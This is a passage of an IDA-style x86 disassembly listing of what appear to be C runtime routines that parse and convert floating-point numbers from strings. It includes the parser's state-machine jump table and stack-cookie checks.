		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41C3C1
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41C3FE:				; CODE XREF: sub_41BF1B+4FAj
		cmp	edx, eax
		jl	short loc_41C40A
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41C40F
; ---------------------------------------------------------------------------

loc_41C40A:				; CODE XREF: sub_41BF1B+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41C40F:				; CODE XREF: sub_41BF1B+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41C3FE
		xor	eax, eax

loc_41C419:				; CODE XREF: sub_41BF1B+39Fj
					; sub_41BF1B+45Ej
		pop	esi

loc_41C41A:				; CODE XREF: sub_41BF1B+55j
					; sub_41BF1B+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_424234
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424238
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41C44F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41C459
; ---------------------------------------------------------------------------

loc_41C44F:				; CODE XREF: sub_41BF1B+525j
		cmp	ecx, 20h
		jnz	short loc_41C459
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_41C459:				; CODE XREF: sub_41BF1B+532j
					; sub_41BF1B+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_41BF1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C45D	proc near		; CODE XREF: sub_41B51D+37p
					; sub_41B5C3+37p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_46		= dword	ptr -46h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_9		= byte ptr -9
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	esi, esi
		mov	[ebp+var_7C], eax
		mov	eax, [ebp+arg_4]
		inc	esi
		xor	ecx, ecx
		cmp	[ebp+arg_1C], ebx
		push	edi
		mov	[ebp+var_70], eax
		lea	edi, [ebp+var_20]
		mov	[ebp+var_74], ebx
		mov	[ebp+var_68], esi
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_60], ebx
		mov	[ebp+var_64], ebx
		mov	[ebp+var_50], ebx
		mov	[ebp+var_6C], ebx
		jnz	short loc_41C4C5
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		xor	eax, eax
		jmp	loc_41CADF
; ---------------------------------------------------------------------------

loc_41C4C5:				; CODE XREF: sub_41C45D+47j
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_54], edx

loc_41C4CB:				; CODE XREF: sub_41C45D+81j
		mov	al, [edx]
		cmp	al, 20h
		jz	short loc_41C4DD
		cmp	al, 9
		jz	short loc_41C4DD
		cmp	al, 0Ah
		jz	short loc_41C4DD
		cmp	al, 0Dh
		jnz	short loc_41C4E0

loc_41C4DD:				; CODE XREF: sub_41C45D+72j
					; sub_41C45D+76j ...
		inc	edx
		jmp	short loc_41C4CB
; ---------------------------------------------------------------------------

loc_41C4E0:				; CODE XREF: sub_41C45D+7Ej
		mov	bl, 30h

loc_41C4E2:				; CODE XREF: sub_41C45D+A6j
					; sub_41C45D+BCj ...
		mov	al, [edx]
		inc	edx
		cmp	ecx, 0Bh	; switch 12 cases
		ja	loc_41C71D	; default
					; jumptable 0041C4EE case 10
		jmp	ds:off_41CAF1[ecx*4] ; switch jump

loc_41C4F5:				; DATA XREF: .text:off_41CAF1o
		mov	cl, al		; jumptable 0041C4EE case 0
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41C505

loc_41C4FF:				; CODE XREF: sub_41C45D+F7j
					; sub_41C45D+14Aj
		push	3

loc_41C501:				; CODE XREF: sub_41C45D+201j
					; sub_41C45D+218j
		pop	ecx
		dec	edx
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C505:				; CODE XREF: sub_41C45D+A0j
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41C51B

loc_41C516:				; CODE XREF: sub_41C45D+15Fj
		push	5

loc_41C518:				; CODE XREF: sub_41C45D+10Cj
					; sub_41C45D+138j ...
		pop	ecx
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C51B:				; CODE XREF: sub_41C45D+B7j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41C540
		dec	eax
		dec	eax
		jz	short loc_41C534
		sub	eax, 3
		jnz	loc_41C6BB

loc_41C530:				; CODE XREF: sub_41C45D+118j
					; sub_41C45D+167j
		mov	ecx, esi
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C534:				; CODE XREF: sub_41C45D+C8j
		push	2
		pop	ecx
		mov	[ebp+var_74], 8000h
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C540:				; CODE XREF: sub_41C45D+C4j
		and	[ebp+var_74], 0
		push	2
		pop	ecx
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C549:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	cl, al		; jumptable 0041C4EE case 1
		sub	cl, 31h
		cmp	cl, 8
		mov	[ebp+var_58], esi
		jbe	short loc_41C4FF
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41C56B

loc_41C567:				; CODE XREF: sub_41C45D+1A7j
		push	4
		jmp	short loc_41C518
; ---------------------------------------------------------------------------

loc_41C56B:				; CODE XREF: sub_41C45D+108j
		cmp	al, 2Bh
		jz	short loc_41C597
		cmp	al, 2Dh
		jz	short loc_41C597
		cmp	al, bl
		jz	short loc_41C530

loc_41C577:				; CODE XREF: sub_41C45D+1B5j
		cmp	al, 43h
		jle	loc_41C6BB
		cmp	al, 45h
		jle	short loc_41C593
		cmp	al, 63h
		jle	loc_41C6BB
		cmp	al, 65h
		jg	loc_41C6BB

loc_41C593:				; CODE XREF: sub_41C45D+124j
		push	6
		jmp	short loc_41C518
; ---------------------------------------------------------------------------

loc_41C597:				; CODE XREF: sub_41C45D+110j
					; sub_41C45D+114j ...
		dec	edx
		push	0Bh
		jmp	loc_41C518
; ---------------------------------------------------------------------------

loc_41C59F:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	cl, al		; jumptable 0041C4EE case 2
		sub	cl, 31h
		cmp	cl, 8
		jbe	loc_41C4FF
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41C516
		cmp	al, bl
		jz	loc_41C530

loc_41C5CA:				; CODE XREF: sub_41C45D+1F9j
					; sub_41C45D:loc_41C689j
		mov	edx, [ebp+var_54]
		jmp	loc_41C6E6
; ---------------------------------------------------------------------------

loc_41C5D2:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	[ebp+var_58], esi ; jumptable 0041C4EE case 3
		jmp	short loc_41C5F1
; ---------------------------------------------------------------------------

loc_41C5D7:				; CODE XREF: sub_41C45D+196j
		cmp	al, 39h
		jg	short loc_41C5F5
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41C5EB
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		jmp	short loc_41C5EE
; ---------------------------------------------------------------------------

loc_41C5EB:				; CODE XREF: sub_41C45D+182j
		inc	[ebp+var_50]

loc_41C5EE:				; CODE XREF: sub_41C45D+18Cj
		mov	al, [edx]
		inc	edx

loc_41C5F1:				; CODE XREF: sub_41C45D+178j
		cmp	al, bl
		jge	short loc_41C5D7

loc_41C5F5:				; CODE XREF: sub_41C45D+17Cj
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41C567

loc_41C60A:				; CODE XREF: sub_41C45D+1D6j
					; sub_41C45D+1F0j
		cmp	al, 2Bh
		jz	short loc_41C597
		cmp	al, 2Dh
		jz	short loc_41C597
		jmp	loc_41C577
; ---------------------------------------------------------------------------

loc_41C617:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		cmp	[ebp+var_4C], 0	; jumptable 0041C4EE case 4
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		jnz	short loc_41C649
		jmp	short loc_41C62B
; ---------------------------------------------------------------------------

loc_41C625:				; CODE XREF: sub_41C45D+1D0j
		dec	[ebp+var_50]
		mov	al, [edx]
		inc	edx

loc_41C62B:				; CODE XREF: sub_41C45D+1C6j
		cmp	al, bl
		jz	short loc_41C625
		jmp	short loc_41C649
; ---------------------------------------------------------------------------

loc_41C631:				; CODE XREF: sub_41C45D+1EEj
		cmp	al, 39h
		jg	short loc_41C60A
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41C646
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		dec	[ebp+var_50]

loc_41C646:				; CODE XREF: sub_41C45D+1DCj
		mov	al, [edx]
		inc	edx

loc_41C649:				; CODE XREF: sub_41C45D+1C4j
					; sub_41C45D+1D2j
		cmp	al, bl
		jge	short loc_41C631
		jmp	short loc_41C60A
; ---------------------------------------------------------------------------

loc_41C64F:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		sub	al, bl		; jumptable 0041C4EE case 5
		cmp	al, 9
		mov	[ebp+var_5C], esi
		ja	loc_41C5CA
		push	4
		jmp	loc_41C501
; ---------------------------------------------------------------------------

loc_41C663:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		lea	ecx, [edx-2]	; jumptable 0041C4EE case 6
		mov	[ebp+var_54], ecx
		mov	cl, al
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41C67A

loc_41C673:				; CODE XREF: sub_41C45D+25Cj
					; sub_41C45D+269j
		push	9
		jmp	loc_41C501
; ---------------------------------------------------------------------------

loc_41C67A:				; CODE XREF: sub_41C45D+214j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41C6A2
		dec	eax
		dec	eax
		jz	short loc_41C696
		sub	eax, 3

loc_41C689:				; CODE XREF: sub_41C45D+26Dj
		jnz	loc_41C5CA
		push	8
		jmp	loc_41C518
; ---------------------------------------------------------------------------

loc_41C696:				; CODE XREF: sub_41C45D+227j
					; sub_41C45D+285j
		or	[ebp+var_68], 0FFFFFFFFh
		push	7
		pop	ecx
		jmp	loc_41C4E2
; ---------------------------------------------------------------------------

loc_41C6A2:				; CODE XREF: sub_41C45D+223j
					; sub_41C45D+281j
		push	7
		jmp	loc_41C518
; ---------------------------------------------------------------------------

loc_41C6A9:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	[ebp+var_60], esi ; jumptable 0041C4EE case 8
		jmp	short loc_41C6B1
; ---------------------------------------------------------------------------

loc_41C6AE:				; CODE XREF: sub_41C45D+256j
		mov	al, [edx]
		inc	edx

loc_41C6B1:				; CODE XREF: sub_41C45D+24Fj
		cmp	al, bl
		jz	short loc_41C6AE
		sub	al, 31h
		cmp	al, 8
		jbe	short loc_41C673

loc_41C6BB:				; CODE XREF: sub_41C45D+CDj
					; sub_41C45D+11Cj ...
		dec	edx
		jmp	short loc_41C6E6
; ---------------------------------------------------------------------------

loc_41C6BE:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	cl, al		; jumptable 0041C4EE case 7
		sub	cl, 31h
		cmp	cl, 8
		jbe	short loc_41C673
		cmp	al, bl
		jmp	short loc_41C689
; ---------------------------------------------------------------------------

loc_41C6CC:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		cmp	[ebp+arg_18], 0	; jumptable 0041C4EE case 11
		jz	short loc_41C719
		movsx	eax, al
		sub	eax, 2Bh
		lea	ecx, [edx-1]
		mov	[ebp+var_54], ecx
		jz	short loc_41C6A2
		dec	eax
		dec	eax
		jz	short loc_41C696
		mov	edx, ecx

loc_41C6E6:				; CODE XREF: sub_41C45D+170j
					; sub_41C45D+25Fj ...
		cmp	[ebp+var_58], 0
		mov	eax, [ebp+var_70]
		mov	[eax], edx
		jz	loc_41CA9A
		push	18h
		pop	eax
		cmp	[ebp+var_4C], eax
		jbe	short loc_41C70D
		cmp	[ebp+var_9], 5
		jl	short loc_41C706
		inc	[ebp+var_9]

loc_41C706:				; CODE XREF: sub_41C45D+2A4j
		dec	edi
		inc	[ebp+var_50]
		mov	[ebp+var_4C], eax

loc_41C70D:				; CODE XREF: sub_41C45D+29Ej
		cmp	[ebp+var_4C], 0
		jbe	loc_41CAC1
		jmp	short loc_41C772
; ---------------------------------------------------------------------------

loc_41C719:				; CODE XREF: sub_41C45D+273j
		push	0Ah
		pop	ecx
		dec	edx

loc_41C71D:				; CODE XREF: sub_41C45D+8Bj
					; sub_41C45D+91j
					; DATA XREF: ...
		cmp	ecx, 0Ah	; default
					; jumptable 0041C4EE case 10
		jnz	loc_41C4E2
		jmp	short loc_41C6E6
; ---------------------------------------------------------------------------

loc_41C728:				; CODE XREF: sub_41C45D+91j
					; DATA XREF: .text:off_41CAF1o
		mov	[ebp+var_60], esi ; jumptable 0041C4EE case 9
		xor	ecx, ecx
		jmp	short loc_41C748
; ---------------------------------------------------------------------------

loc_41C72F:				; CODE XREF: sub_41C45D+2EDj
		cmp	al, 39h
		jg	short loc_41C753
		imul	ecx, 0Ah
		movsx	esi, al
		lea	ecx, [ecx+esi-30h]
		cmp	ecx, 1450h
		jg	short loc_41C74E
		mov	al, [edx]
		inc	edx

loc_41C748:				; CODE XREF: sub_41C45D+2D0j
		cmp	al, bl
		jge	short loc_41C72F
		jmp	short loc_41C753
; ---------------------------------------------------------------------------

loc_41C74E:				; CODE XREF: sub_41C45D+2E6j
		mov	ecx, 1451h

loc_41C753:				; CODE XREF: sub_41C45D+2D4j
					; sub_41C45D+2EFj
		mov	[ebp+var_64], ecx
		jmp	short loc_41C763
; ---------------------------------------------------------------------------

loc_41C758:				; CODE XREF: sub_41C45D+308j
		cmp	al, 39h
		jg	loc_41C6BB
		mov	al, [edx]
		inc	edx

loc_41C763:				; CODE XREF: sub_41C45D+2F9j
		cmp	al, bl
		jge	short loc_41C758
		jmp	loc_41C6BB
; ---------------------------------------------------------------------------

loc_41C76C:				; CODE XREF: sub_41C45D+319j
		dec	[ebp+var_4C]
		inc	[ebp+var_50]

loc_41C772:				; CODE XREF: sub_41C45D+2BAj
		dec	edi
		cmp	byte ptr [edi],	0
		jz	short loc_41C76C
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_4C]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D81A
		mov	eax, [ebp+var_64]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_68], ecx
		jge	short loc_41C797
		neg	eax

loc_41C797:				; CODE XREF: sub_41C45D+336j
		add	eax, [ebp+var_50]
		cmp	[ebp+var_60], ecx
		jnz	short loc_41C7A2
		add	eax, [ebp+arg_10]

loc_41C7A2:				; CODE XREF: sub_41C45D+340j
		cmp	[ebp+var_5C], ecx
		jnz	short loc_41C7AA
		sub	eax, [ebp+arg_14]

loc_41C7AA:				; CODE XREF: sub_41C45D+348j
		cmp	eax, 1450h
		jg	loc_41CAA3
		cmp	eax, 0FFFFEBB0h
		jl	loc_41CABA
		mov	esi, offset dword_424240
		sub	esi, 60h
		cmp	eax, ecx
		mov	[ebp+var_54], eax
		jz	loc_41CA88
		jge	short loc_41C7E2
		neg	eax
		mov	esi, offset dword_4243A0
		mov	[ebp+var_54], eax
		sub	esi, 60h

loc_41C7E2:				; CODE XREF: sub_41C45D+376j
		cmp	[ebp+arg_C], ecx
		jnz	short loc_41C7EB
		mov	word ptr [ebp+var_3C], cx

loc_41C7EB:				; CODE XREF: sub_41C45D+388j
		cmp	[ebp+var_54], ecx
		jz	loc_41CA88

loc_41C7F4:				; CODE XREF: sub_41C45D+625j
		mov	eax, [ebp+var_54]
		sar	[ebp+var_54], 3
		add	esi, 54h
		and	eax, 7
		test	eax, eax
		mov	[ebp+var_4C], esi
		jz	loc_41CA7E
		imul	eax, 0Ch
		add	eax, esi
		mov	ebx, eax
		cmp	word ptr [ebx],	8000h
		mov	[ebp+var_70], ebx
		jb	short loc_41C831
		mov	esi, ebx
		lea	edi, [ebp+var_48]
		movsd
		movsd
		movsd
		dec	[ebp+var_46]
		mov	esi, [ebp+var_4C]
		lea	ebx, [ebp+var_48]
		mov	[ebp+var_70], ebx

loc_41C831:				; CODE XREF: sub_41C45D+3BEj
		movzx	edx, word ptr [ebx+0Ah]
		mov	ecx, [ebp+var_32]
		xor	eax, eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	eax, edx
		mov	edi, 7FFFh
		xor	eax, ecx
		and	ecx, edi
		and	edx, edi
		and	eax, 8000h
		cmp	cx, 7FFFh
		lea	edi, [edx+ecx]
		movzx	edi, di
		jnb	loc_41CA64
		cmp	dx, 7FFFh
		jnb	loc_41CA64
		cmp	di, 0BFFDh
		ja	loc_41CA64
		cmp	di, 3FBFh
		ja	short loc_41C893
		xor	eax, eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_3C], eax
		jmp	loc_41CA7B
; ---------------------------------------------------------------------------

loc_41C893:				; CODE XREF: sub_41C45D+427j
		test	cx, cx
		jnz	short loc_41C8B7
		inc	edi
		test	dword ptr [ebp-34h], 7FFFFFFFh
		jnz	short loc_41C8B7
		cmp	[ebp+var_38], 0
		jnz	short loc_41C8B7
		cmp	[ebp+var_3C], 0
		jnz	short loc_41C8B7
		and	word ptr [ebp+var_32], cx
		jmp	loc_41CA7E
; ---------------------------------------------------------------------------

loc_41C8B7:				; CODE XREF: sub_41C45D+439j
					; sub_41C45D+443j ...
		xor	ecx, ecx
		cmp	dx, cx
		jnz	short loc_41C8DF
		inc	edi
		test	dword ptr [ebx+8], 7FFFFFFFh
		jnz	short loc_41C8DF
		cmp	[ebx+4], ecx
		jnz	short loc_41C8DF
		cmp	[ebx], ecx
		jnz	short loc_41C8DF
		mov	[ebp-34h], ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_3C], ecx
		jmp	loc_41CA7E
; ---------------------------------------------------------------------------

loc_41C8DF:				; CODE XREF: sub_41C45D+45Fj
					; sub_41C45D+469j ...
		and	[ebp+var_68], ecx
		lea	esi, [ebp+var_28]
		mov	[ebp+var_58], 5

loc_41C8EC:				; CODE XREF: sub_41C45D+4FFj
		mov	ecx, [ebp+var_68]
		mov	edx, [ebp+var_58]
		add	ecx, ecx
		test	edx, edx
		mov	[ebp+var_64], edx
		jle	short loc_41C950
		lea	ecx, [ebp+ecx+var_3C]
		add	ebx, 8
		mov	[ebp+var_5C], ecx
		mov	[ebp+var_60], ebx

loc_41C908:				; CODE XREF: sub_41C45D+4EEj
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		movzx	edx, word ptr [edx]
		movzx	ecx, word ptr [ecx]
		and	[ebp+var_78], 0
		imul	ecx, edx
		mov	edx, [esi-4]
		lea	ebx, [edx+ecx]
		cmp	ebx, edx
		jb	short loc_41C929
		cmp	ebx, ecx
		jnb	short loc_41C930

loc_41C929:				; CODE XREF: sub_41C45D+4C6j
		mov	[ebp+var_78], 1

loc_41C930:				; CODE XREF: sub_41C45D+4CAj
		cmp	[ebp+var_78], 0
		mov	[esi-4], ebx
		jz	short loc_41C93C
		inc	word ptr [esi]

loc_41C93C:				; CODE XREF: sub_41C45D+4DAj
		add	[ebp+var_5C], 2
		sub	[ebp+var_60], 2
		dec	[ebp+var_64]
		cmp	[ebp+var_64], 0
		jg	short loc_41C908
		mov	ebx, [ebp+var_70]

loc_41C950:				; CODE XREF: sub_41C45D+49Cj
		inc	esi
		inc	esi
		inc	[ebp+var_68]
		dec	[ebp+var_58]
		cmp	[ebp+var_58], 0
		jg	short loc_41C8EC
		add	edi, 0C002h
		test	di, di
		jle	short loc_41C9A4

loc_41C969:				; CODE XREF: sub_41C45D+540j
		test	[ebp+var_24], 80000000h
		jnz	short loc_41C99F
		mov	esi, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		shl	[ebp+var_2C], 1
		shr	ecx, 1Fh
		mov	edx, esi
		add	esi, esi
		or	esi, ecx
		mov	ecx, [ebp+var_24]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		add	edi, 0FFFFh
		test	di, di
		mov	[ebp+var_28], esi
		mov	[ebp+var_24], ecx
		jg	short loc_41C969

loc_41C99F:				; CODE XREF: sub_41C45D+513j
		test	di, di
		jg	short loc_41C9F2

loc_41C9A4:				; CODE XREF: sub_41C45D+50Aj
		add	edi, 0FFFFh
		test	di, di
		jge	short loc_41C9F2
		mov	ecx, edi
		neg	ecx
		movzx	esi, cx
		add	edi, esi

loc_41C9B8:				; CODE XREF: sub_41C45D+588j
		test	byte ptr [ebp+var_2C], 1
		jz	short loc_41C9C1
		inc	[ebp+var_50]

loc_41C9C1:				; CODE XREF: sub_41C45D+55Fj
		mov	ecx, [ebp+var_24]
		mov	ebx, [ebp+var_28]
		mov	edx, [ebp+var_28]
		shr	[ebp+var_24], 1
		shl	ecx, 1Fh
		shr	ebx, 1
		or	ebx, ecx
		mov	ecx, [ebp+var_2C]
		shl	edx, 1Fh
		shr	ecx, 1
		or	ecx, edx
		dec	esi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ecx
		jnz	short loc_41C9B8
		cmp	[ebp+var_50], 0
		jz	short loc_41C9F2
		or	word ptr [ebp+var_2C], 1

loc_41C9F2:				; CODE XREF: sub_41C45D+545j
					; sub_41C45D+550j ...
		cmp	word ptr [ebp+var_2C], 8000h
		ja	short loc_41CA0B
		mov	ecx, [ebp+var_2C]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_41CA3E

loc_41CA0B:				; CODE XREF: sub_41C45D+59Bj
		cmp	[ebp+var_2C+2],	0FFFFFFFFh
		jnz	short loc_41CA3B
		and	[ebp+var_2C+2],	0
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_41CA36
		and	[ebp+var_28+2],	0
		cmp	word ptr [ebp+var_24+2], 0FFFFh
		jnz	short loc_41CA30
		mov	word ptr [ebp+var_24+2], 8000h
		inc	edi
		jmp	short loc_41CA3E
; ---------------------------------------------------------------------------

loc_41CA30:				; CODE XREF: sub_41C45D+5C8j
		inc	word ptr [ebp+var_24+2]
		jmp	short loc_41CA3E
; ---------------------------------------------------------------------------

loc_41CA36:				; CODE XREF: sub_41C45D+5BCj
		inc	[ebp+var_28+2]
		jmp	short loc_41CA3E
; ---------------------------------------------------------------------------

loc_41CA3B:				; CODE XREF: sub_41C45D+5B2j
		inc	[ebp+var_2C+2]

loc_41CA3E:				; CODE XREF: sub_41C45D+5ACj
					; sub_41C45D+5D1j ...
		cmp	di, 7FFFh
		mov	esi, [ebp+var_4C]
		jnb	short loc_41CA64
		mov	cx, word ptr [ebp+var_2C+2]
		mov	word ptr [ebp+var_3C], cx
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_3C+2],	ecx
		mov	ecx, [ebp+var_24]
		or	edi, eax
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_32], di
		jmp	short loc_41CA7E
; ---------------------------------------------------------------------------

loc_41CA64:				; CODE XREF: sub_41C45D+406j
					; sub_41C45D+411j ...
		neg	ax
		sbb	eax, eax
		and	[ebp+var_38], 0
		and	eax, 80000000h
		add	eax, 7FFF8000h
		and	[ebp+var_3C], 0

loc_41CA7B:				; CODE XREF: sub_41C45D+431j
		mov	[ebp-34h], eax

loc_41CA7E:				; CODE XREF: sub_41C45D+3A9j
					; sub_41C45D+455j ...
		cmp	[ebp+var_54], 0
		jnz	loc_41C7F4

loc_41CA88:				; CODE XREF: sub_41C45D+370j
					; sub_41C45D+391j
		mov	eax, [ebp-34h]
		movzx	ecx, word ptr [ebp+var_3C]
		mov	esi, [ebp+var_3C+2]
		mov	edx, [ebp+var_38+2]
		shr	eax, 10h
		jmp	short loc_41CAC9
; ---------------------------------------------------------------------------

loc_41CA9A:				; CODE XREF: sub_41C45D+292j
		mov	[ebp+var_6C], 4
		jmp	short loc_41CAC1
; ---------------------------------------------------------------------------

loc_41CAA3:				; CODE XREF: sub_41C45D+352j
		xor	esi, esi
		mov	eax, 7FFFh
		mov	edx, 80000000h
		xor	ecx, ecx
		mov	[ebp+var_6C], 2
		jmp	short loc_41CAC9
; ---------------------------------------------------------------------------

loc_41CABA:				; CODE XREF: sub_41C45D+35Dj
		mov	[ebp+var_6C], 1

loc_41CAC1:				; CODE XREF: sub_41C45D+2B4j
					; sub_41C45D+644j
		xor	ecx, ecx
		xor	eax, eax
		xor	edx, edx
		xor	esi, esi

loc_41CAC9:				; CODE XREF: sub_41C45D+63Bj
					; sub_41C45D+65Bj
		mov	edi, [ebp+var_7C]
		or	eax, [ebp+var_74]
		mov	[edi], cx
		mov	[edi+0Ah], ax
		mov	eax, [ebp+var_6C]
		mov	[edi+2], esi
		mov	[edi+6], edx

loc_41CADF:				; CODE XREF: sub_41C45D+63j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41C45D	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_41CAF1	dd offset loc_41C4F5	; DATA XREF: sub_41C45D+91r
		dd offset loc_41C549	; jump table for switch	statement
		dd offset loc_41C59F
		dd offset loc_41C5D2
		dd offset loc_41C617
		dd offset loc_41C64F
		dd offset loc_41C663
		dd offset loc_41C6BE
		dd offset loc_41C6A9
		dd offset loc_41C728
		dd offset loc_41C71D
		dd offset loc_41C6CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB21	proc near		; CODE XREF: sub_41B7E1+3Fp

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		lea	esi, [ebp+arg_0]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsw
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	eax, 8000h
		and	ecx, eax
		and	edx, 7FFFh
		test	cx, cx
		mov	[ebp+var_60], ebx
		mov	byte ptr [ebp+var_30], 0CCh
		mov	byte ptr [ebp+var_30+1], 0CCh
		mov	byte ptr [ebp+var_30+2], 0CCh
		mov	byte ptr [ebp+var_30+3], 0CCh
		mov	byte ptr [ebp+var_2C], 0CCh
		mov	byte ptr [ebp+var_2C+1], 0CCh
		mov	byte ptr [ebp+var_2C+2], 0CCh
